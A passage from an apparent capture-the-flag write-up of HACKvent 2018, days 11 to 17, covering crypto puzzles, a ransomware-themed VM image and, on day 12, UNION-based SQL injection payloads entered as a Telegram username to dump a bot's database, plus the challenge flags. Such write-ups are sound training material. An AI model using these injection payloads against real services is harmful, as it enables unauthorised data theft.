the equation. As we already have a solution (our odd-length hex string), we can produce more solutions by simply adding <i>n * p<\/i> to it. The equation will stay valid since the multiple of <i>p<\/i> is truncated by the modulo operation:\n<\/p>\n<pre>c = ((a+n*p) * b) % p<\/pre>\n<p>So let&#8217;s loop over possible values for <i>n<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day11# cat loopN.py\n#!\/usr\/bin\/env python\n\na = 0x485631382d4288bb2cdf615fc4576b25ba2ee4c74f5e8598ba6bbdfae8f\np = 0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9\nx = 0\n\nwhile True:\n  x +=1\n  a += p\n  print(hex(a) + \"(\"+str(x)+\")\")\n<\/pre><\/div>\n\n<p>As we are searching for a valid flag, the resulting value should begin with <i>0x485631382d (&#8216;HV18-&#8216;)<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day11# .\/loopN.py | grep 0x485631382d\n0x485631382d784c76592d54654e542d596745682d7742754c2d6246667a0000L(1337)\n<\/pre><\/div>\n\n<p>Adding <i>p<\/i> to <i>a<\/i> <i>1337-times<\/i> produces a valid flag (<i>flag = a + 1337*p<\/i>).<\/p>\n<p>The only thing left to do is converting the result to ASCII:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; &#039;485631382d784c76592d54654e542d596745682d7742754c2d6246667a&#039;.decode(&#039;hex&#039;)\n&#039;HV18-xLvY-TeNT-YgEh-wBuL-bFfz&#039;\n<\/pre><\/div>\n\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-xLvY-TeNT-YgEh-wBuL-bFfz<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day12\">Day 12: SmartWishList<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: xorkiwi featuring avarx and muffinx<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Santa&#8217;s being really innovative this year!<p><\/p>\n<p><\/p>\n<p>Send your wishes directly over your favorite messenger (telegram): @smartwishlist_bot<\/p>\n<hr>\n<p>Hint(s):<\/p>\n<p>How does the bot differentiate your wishes from other people?<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The bot can be contacted by sending a message to <i>@smartwishlist_bot<\/i> with telegram (I used the web interface):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-979\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_01-1024x499.png\" alt=\"\" width=\"800\" height=\"390\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_01-1024x499.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_01-300x146.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_01-768x374.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_01.png 1360w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The bot provides the following commands:\n<\/p>\n<pre>\/start Start the bot.\n\/help Show commands.\n\/addwish Add wish to whistlist.\n\/removewish Remove wish from wishlist.\n\/showwishes Show your whistlist.\n\/stop Stop the bot.<\/pre>\n<p>At first I was wondering why my whishlist eventually contained wishes, which I definetley did not add. After the release of the hint, it was quite clear, that the bot does not differentiate the users by an unique ID but the user&#8217;s name.<\/p>\n<p>Editing my name in the application&#8217;s preferences inserting some special characters to detect possible injection points revealed that the bot is vulnerable to MySQL-injection within the user&#8217;s name.<\/p>\n<p>After trying out different payloads, it turned out, that the vulnerability can be used to UNION-append 2 fields. Thus I changed my prename to the following in order to list all tables of the database:\n<\/p>\n<pre>' union select 1,table_name FROM information_schema.columns;#<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-980\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_02.png\" alt=\"\" width=\"615\" height=\"654\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_02.png 615w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_02-282x300.png 282w\" sizes=\"(max-width: 615px) 100vw, 615px\" \/><\/p>\n<p>The injection can be triggered with the <i>\/showwishes<\/i> command:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-981\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_03.png\" alt=\"\" width=\"871\" height=\"789\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_03.png 871w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_03-300x272.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_03-768x696.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Scrolling to the default MySQL-tablenames the following table caught my attenion:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-982\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_04.png\" alt=\"\" width=\"865\" height=\"795\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_04.png 865w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_04-300x276.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_04-768x706.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>I tried to enumerate the columns of the table, which did not suceed because of the size limitation of the name. Nevertheless educated-guessing yielded the desired value:\n<\/p>\n<pre>' union select 1,flag FROM SecretStore;#<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-983\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_05.png\" alt=\"\" width=\"868\" height=\"789\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_05.png 868w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_05-300x273.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day12_05-768x698.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-M4k3-S0m3-R34L-N1c3-W15h<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day13\">Day 13: flappy&#8217;s revenge<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: M.<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">There were some rumors that you were cheating at our little game a few days ago &#8230; like godmode, huh?<p><\/p>\n<p><\/p>\n<p>Well, show me that you can do it again &#8211; no cheating this time.<\/p>\n<p>Location: telnet whale.hacking-lab.com 4242<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Just like on <a href=\"#hv18_7\">day 07<\/a> we are faced with a small flappy bird clone. But this time it is not running locally and we can&#8217;t just patch the source-code.<\/p>\n<p>The game can be played by simply connecting to the provided address\/port using <i>telnet<\/i>.<\/p>\n<p>After playing it for the first time, I thought about how to program a bot, which maneuvers the little bird through the different walls.<\/p>\n<p>The second time I played I actually reached more than half of the flag and changed my mind believing that it might actually be possible to simply solve the game manually.<\/p>\n<p>And that&#8217;s how I did it. After hitting a wall and thus failing the game, I copied all output from the telnet-session to a texteditor, which I deployed right beside my console in order to be able to quickly determine where the hole in the next wall will be.<\/p>\n<p>After reaching the full flag my texteditor looked like this:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n#HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH          HHHHHHHHHHHHHH#\n\n#VVVVVVVVVVVVVVVVVVVVVVVVVVVVV          VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV#\n\n#11111111111111111111111111111111111111111111111111111111          111111111111#\n\n#8888888888888888888888888888888888888          8888888888888888888888888888888#\n\n#----------------          ----------------------------------------------------#\n\n#999999999999999          99999999999999999999999999999999999999999999999999999#\n\n#hhhhhhhhhhhhhhhhhhhhhhhhhh          hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh#\n\n#YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY          YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY#\n\n#ffffffffffffffffffffffffffffffffffffffffffffffffff          ffffffffffffffffff#\n\n#-----------------------------------          ---------------------------------#\n\n#LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL          LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL#\n\n#SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS          SSSSSSSSSSSSSSSSSSSSSSS#\n\n#YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY          YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY#\n\n#1111111111111111111111111111111111111          1111111111111111111111111111111#\n\n#------------------------------          --------------------------------------#\n\n#hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh          hhhhhhhhhhhhhhhhhhhhh#\n\n#WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW          WWWWWWWWWWWWWWWWWWWWWWWW#\n\n#ddddddddddddddddddddddddddddddddddd          ddddddddddddddddddddddddddddddddd#\n\n#ZZZZZZZZZZZZZZZZZZZZZZZZ          ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ#\n\n#-------------------------------------------------          -------------------#\n\n#4444444444444444444444444444444444444444444444          4444444444444444444444#\n\n#999999999999999999999999999999999999999999999999999          99999999999999999#\n\n#66666666666666666666666666666666          666666666666666666666666666666666666#\n\n#nnnnnnnnnnnnnnnnnnnnnnnnn          nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn#\n\n#--------------------------------------------------          ------------------#\n\n#MMMMMMMMMMMMMMMMMMMMMMMMMMMMM          MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM#\n\n#bbbbbbbbbbbbbbbbbbbbbbbbbb          bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb#\n\n#ddddddddddddddd          ddddddddddddddddddddddddddddddddddddddddddddddddddddd#\n\n#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa          aaaaaaaaaaaaaaaa#\n<\/pre><\/div>\n\n<p>It took me about 15 minutes and thus was probably a lot faster than programming a bot.<\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-9hYf-LSY1-hWdZ-496n-Mbda<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day14\">Day 14: power in the shell<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: HaRdLoCk<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">seems to be an easy one &#8230; or wait, what?<p><\/p>\n<p><\/p>\n<p>Encryped flag:<\/p>\n<p>2A4C9AA52257B56837369D5DD7019451C0EC04427EB95EB741D0273D55<\/p>\n<p><a href=\"https:\/\/hackvent.hacking-lab.com\/power.ps1\" target=\"_new\">power.ps1<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>In the first line of the provided powershell-script (<i>power.ps1<\/i>) another powershell-script (<i>flag.ps1<\/i>) is included, which we do not have access to:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: powershell; title: ; notranslate\" title=\"\">\n. \"$PSScriptRoot\\flag.ps1\" #thumbprint 1398ED7F59A62962D5A47DD0D32B71156DD6AF6B46BEA949976331B8E1\n\nif ($PSVersionTable.PSVersion.Major -gt 2)\n{\n    $m = &#x5B;System.Numerics.BigInteger]::Parse($flag, 'AllowHexSpecifier');\n    $n = &#x5B;System.Numerics.BigInteger]::Parse(\"0D8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721\", 'AllowHexSpecifier');\n    $c = &#x5B;System.Numerics.BigInteger]::ModPow($m, 1+1, $n)\n    write-host \"encrypted flag:\" $c.ToString(\"X\");\n}\n<\/pre><\/div>\n\n<p>Obviously within that script a variable called <i>$flag<\/i> is defined. The value of this variable is simply squared and reduced to the modulo <i>0xD8A7A45D&#8230;<\/i>. The challenge description contains the resulting value for the flag: <i>0x2A4C9AA522&#8230;<\/i>. So we have basically the following equation:\n<\/p>\n<pre>c = m^2 % n<\/pre>\n<p>Where:<\/p>\n<ul>\n<li><b>c<\/b> is the encrypted flag: <i>0x2A4C9AA52257B56837369D5DD7019451C0EC04427EB95EB741D0273D55<\/i><br>\n(decimal: <i>1140385111472943454874627320369403984972910918371637407390282283433301<\/i>)<\/li>\n<li><b>m<\/b> is the flag, which we do not know<\/li>\n<li><b>n<\/b> is the modulo-value: <i>0xD8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721<\/i><br>\n(decimal: <i>5841003248923821029983205516125362074880976378154066185495120324708129<\/i>)<\/li>\n<\/ul>\n<p>This equation can be rearranged to the following (renaming <i>m<\/i> to <i>x<\/i>):\n<\/p>\n<pre>x^2 - c = 0 (mod n)<\/pre>\n<p>Now we can use an online equation solver like <a href=\"https:\/\/www.alpertron.com.ar\/QUADMOD.HTM\" target=\"_new\">https:\/\/www.alpertron.com.ar\/QUADMOD.HTM<\/a> (taking care to set the variables appropriately):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-984\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_01-1024x492.png\" alt=\"\" width=\"1000\" height=\"480\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_01-1024x492.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_01-300x144.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_01-768x369.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_01.png 1680w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>After a few seconds of calculation we see four resulting values for <i>x<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-985\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_02-1024x538.png\" alt=\"\" width=\"1000\" height=\"525\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_02-1024x538.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_02-300x158.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_02-768x403.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day14_02.png 1680w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Converting those values to ASCII reveals that the third value (<i>1950&#8230;<\/i>) contains the flag:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day14# python\nPython 2.7.15+ (default, Nov 28 2018, 16:27:22)\n&#x5B;GCC 8.2.0] on linux2\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\n&gt;&gt;&gt; x = &#039;1950 193264 821848 293290 734419 289624 666092 325628 102847 269817 934129 490521&#039;\n&gt;&gt;&gt; x = x.replace(&#039; &#039;, &#039;&#039;)\n&gt;&gt;&gt; hex(int(x))&#x5B;2:-1].decode(&#039;hex&#039;)\n&#039;HV18-DzKn-62Qz-dAab-fEou-ImjY&#039;\n<\/pre><\/div>\n\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-DzKn-62Qz-dAab-fEou-ImjY<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day16\">Day 16: Pay 100 Bitcoins<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: inik<\/span><br>\n<i>&#8230; or find the flag<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">It changed the host. Fortunately it doesn&#8217;t do the full job &#8230; so there&#8217;s hope. Get the things straight again and find the flag.<p><\/p>\n<p><\/p>\n<p>The OS is encrypted, but you know the key: IWillNeverGetAVirus<\/p>\n<p>Download the image here: <a href=\"https:\/\/hackvent.hacking-lab.com\/HACKvent_thx_awesome_1n1k.ova\" target=\"_new\">local download link<\/a> or here: <a href=\"https:\/\/drive.google.com\/file\/d\/1v70Z6ZLA1F39Zrb39X2zoLzQn7-LPche\/view?usp=sharing\" target=\"_new\">external download link<\/a><\/p>\n<hr>\n<p>Important:<\/p>\n<p>Pleas visit also day 15, wich is now available too!<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>When running the provided .ova file in VirtualBox an error message appears which states, that one of our disks contains errors and needs to be repaired:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-986\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_02.png\" alt=\"\" width=\"722\" height=\"490\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_02.png 722w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_02-300x204.png 300w\" sizes=\"(max-width: 722px) 100vw, 722px\" \/><\/p>\n<p>In truth this is not an error message but already part of the petya ransomware encrypting our data. After the encryption is done, we can see the peculiar red skull of petya:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-987\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_03.png\" alt=\"\" width=\"722\" height=\"490\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_03.png 722w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_03-300x204.png 300w\" sizes=\"(max-width: 722px) 100vw, 722px\" \/><\/p>\n<p>&#8230; and are prompted to purchase a key on the darknet:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-988\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_01.png\" alt=\"\" width=\"722\" height=\"490\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_01.png 722w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day16_01-300x204.png 300w\" sizes=\"(max-width: 722px) 100vw, 722px\" \/><\/p>\n<p>The challenge description states, that the OS is encrypted, but we know the key (<i>IWillNeverGetAVirus<\/i>).<\/p>\n<p>So let&#8217;s start by extracting the .ova file:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day16# tar -xvf HACKvent_thx_awesome_1n1k.ova\nHACKvent.ovf\nHACKvent-disk001.vmdk\n<\/pre><\/div>\n\n<p>We can now mount the virtual hard disk (<i>HACKvent-disk001.vmdk<\/i>) using <i>guestmount<\/i> (on kali linux you need to install the package <i>libguestfs-tools<\/i>):\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day16# mkdir \/mnt\/vmdk\nroot@kali:~\/Documents\/hv18\/day16# guestmount -a HACKvent-disk001.vmdk -i --ro \/mnt\/vmdk\nEnter key or passphrase (\"\/dev\/sda2\"):\n<\/pre><\/div>\n\n<p>For the passphrase we enter <i>IWillNeverGetAVirus<\/i>. After the virtual hard disk has been mounted, we can access it in <i>\/mnt\/vmdk<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day16# cd \/mnt\/vmdk\/\nroot@kali:\/mnt\/vmdk# ls -al\ntotal 48\ndrwxr-xr-x 20 root root  1024 Nov 30 04:51 .\ndrwxr-xr-x  3 root root  4096 Dec 17 06:59 ..\ndrwxr-xr-x  2 root root  3072 Nov 30 04:52 bin\ndrwxr-xr-x  3 root root  1024 Nov 30 04:57 boot\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 dev\ndrwxr-xr-x 23 root root  3072 Nov 30 04:53 etc\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 home\ndrwxr-xr-x  8 root root  3072 Nov 30 04:51 lib\ndrwx------  2 root root 12288 Nov 30 04:50 lost+found\ndrwxr-xr-x  5 root root  1024 Nov 30 04:51 media\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 mnt\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 proc\ndrwx------  2 root root  1024 Nov 30 04:57 root\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 run\ndrwxr-xr-x  2 root root  8192 Nov 30 04:52 sbin\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 srv\ndrwxr-xr-x  2 root root  1024 Nov 30 04:51 sys\ndrwxrwxrwt  4 root root  1024 Nov 30 05:23 tmp\ndrwxr-xr-x  8 root root  1024 Nov 30 04:51 usr\ndrwxr-xr-x 10 root root  1024 Nov 30 05:02 var\n<\/pre><\/div>\n\n<p>Now we only need to find the flag:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:\/mnt\/vmdk# grep . -nrwe 'HV18'\n.\/etc\/motd:11:Your flag is HV18-622q-gxxe-CGni-X4fT-wQKw\n<\/pre><\/div>\n\n<p>Done \ud83d\ude42 The message of the day (motd) contains the flag.<\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-622q-gxxe-CGni-X4fT-wQKw<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day17\">Day 17: Faster KEy Exchange<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: pyth0n33<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">You were somehow able to intercept Santa&#8217;s traffic.<p><\/p>\n<p><\/p>\n<p>But it&#8217;s encrypted. Fortunately, you also intercepted the key exchange and figured out what software he was using&#8230;..<br>\na = 17577019968135092891915317246036083578063875217491307011102321322815719709605741738459191569497548099944025771002530369133716621942963853230082186943938164591230020725702755002287589522851172217336150522367152517270250629688405924844750026155547199020780202996200555426652190631837288299999083335649923708175859594750237448640513280683859296367607523542293538555215282798100455110266565881599829107971869244773384413618546118850868579583095489023778055976570366853411496753062216229293710557686212314300848121614558806328788578096144576605248971916454783615989429937555579437307320472405217413938048149254574677430624<br>\nb = 15228628318558071728245462802366236848375416102820239825350329247148900182647243994904519787528142824353837070194785550898962097219309344881183948914850354340893035399529028331238911753358245357848436203268982345430735846016484221944423499956958406189854969330305125479065873712331269870135028162018087451460656203085824963123310757985362748654204595136594184636862693563510767025800252822776154986386637346156842972134635578534633722315375292616298410141343725683471387328655106920310236007034951004329720717533666052625540760911360823548318810161367913281234234193760867208897459774865037319252137821553407707977377<br>\nmessage = jqMYIn4fzSqzIXArwJm\/kPitNhf4lwhL0yPRKpF+NYXyPmhoEwNG\/k2L5vCZqFWNPvTzisnu93\/8uK\/PZnnCGg==<\/p>\n<p><a href=\"https:\/\/hackvent.hacking-lab.com\/FasterKeyExchange.py\" target=\"_new\">FasterKeyExchange.py<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The provided python-script implements a little server, which encrypts a message using AES CBC:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day17# cat FasterKeyExchange.py\nimport secrets\nimport hashlib\nfrom base64 import b64encode\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ng = 3\np = 0x00e1a540d72bb311db26ea6e58b7dc207cf55d0c3a90d7c1f74e7fcb67c7af097d99c73e002c9266e70cbdf735ebd864ea279a0a4d41dd6537837bfc07d84943a376d163ec20a51dd6073dbfc34cbdce9d88ad22a9bb72f5bb143b5c9e531ab100590b9f97d1e9c7a3dfe7961fd6e86078ad43918b47816925803db47862e5f69c90078c6dc287fc6cf7742a9f1717d828a610fe469c92f34783351b21ac1ec988eae0e16ff4ef89c1a19ccd7e3b5cb0c14e0424dfde338789923013aeb7791e19ba378cb2e0e0b318f46865d438ac53999f69f0ae8045d2ff40821b5fdcb0a3b9942f29a0cd8e55febd0ee9006d936d51335a2e63b6affbed6175e1228a53d6a9\n\nclass Server():\n    def __init__(self, port=3331):\n        self.port = port\n        self.fKE = FasterKeyExchange(g, p)\n        self.y_server = self.fKE.calculate_y()\n        self.y_client = 0\n        self.IV = \"d724c349c2b28831\"\n        self.key = \"313371337\"\n\n    def print_banner(self):\n        print(\"       ---_ ......._-_--.\")\n        print(\"      (|\\ \/      \/ \/| \\  \\\\\")\n        print(\"      \/  \/     .'  -=-'   `.\")\n        print(\"     \/  \/    .'             )\")\n        print(\"   _\/  \/   .'        _.)   \/\")\n        print(\"  \/ o   o        _.-' \/  .'\")\n        print(\"  \\          _.-'    \/ .'*|\")\n        print(\"   \\______.-'\/\/    .'.' \\*|\")\n        print(\"    \\|  \\ | \/\/   .'.' _ |*|\")\n        print(\"     `   \\|\/\/  .'.'_ _ _|*|\")\n        print(\"      .  .\/\/ .'.' | _ _ \\*|\")\n        print(\"      \\`-|\\_\/ \/    \\ _ _ \\*\\\\\")\n        print(\"       `\/'\\__\/      \\ _ _ \\*\\\\\")\n        print(\"      \/^|            \\ _ _ \\*\")\n        print(\"     '  `             \\ _ _ \\\\\")\n        print(\"                       \\_\")\n        print(\"Challenge by pyth0n33. Have fun!\")\n        \n    def run(self):\n        self.print_banner()\n        input(\"Enter to start\")\n        print(\"\\x1b&#x5B;2J\\x1b&#x5B;H\")\n        print(\"Here's my y={0}\\n\\n\".format(self.y_server))\n        self.y_client = int(input(\"Now give me your y please: \"))\n        self.key = str(self.fKE.calculate_key(self.y_client))\n        self.iv = self.key&#x5B;0:16]\n        self.encrypt()\n\n    def encrypt(self):\n        key = bytes(hashlib.md5(bytes(self.key, \"utf-8\")).hexdigest(), \"utf-8\")\n        cipher = AES.new(key, AES.MODE_CBC, iv=bytes(self.iv, \"utf-8\"))\n        cipher_text_bytes = cipher.encrypt(pad(b\"The Advanced Encryption Standard (AES), also known by its original name Rijndael, is a specification for the encryption of electronic data established by the U.S. National Institute of Standards and Technology (NIST) in 2001.\", AES.block_size))\n        print(b64encode(cipher_text_bytes))\n        \nclass FasterKeyExchange():\n    def __init__(self, g, p):\n        self.g = g\n        self.p = p\n        self.x = self.get_random_x()\n\n    def get_random_x(self):\n        return secrets.SystemRandom().randint(g, p-2)\n    \n    def calculate_y(self):\n        return (self.g * self.x) % self.p\n\n    def calculate_key(self, y):\n        return (y * self.x) % self.p\n\nif __name__ == \"__main__\":\n    server = Server()\n    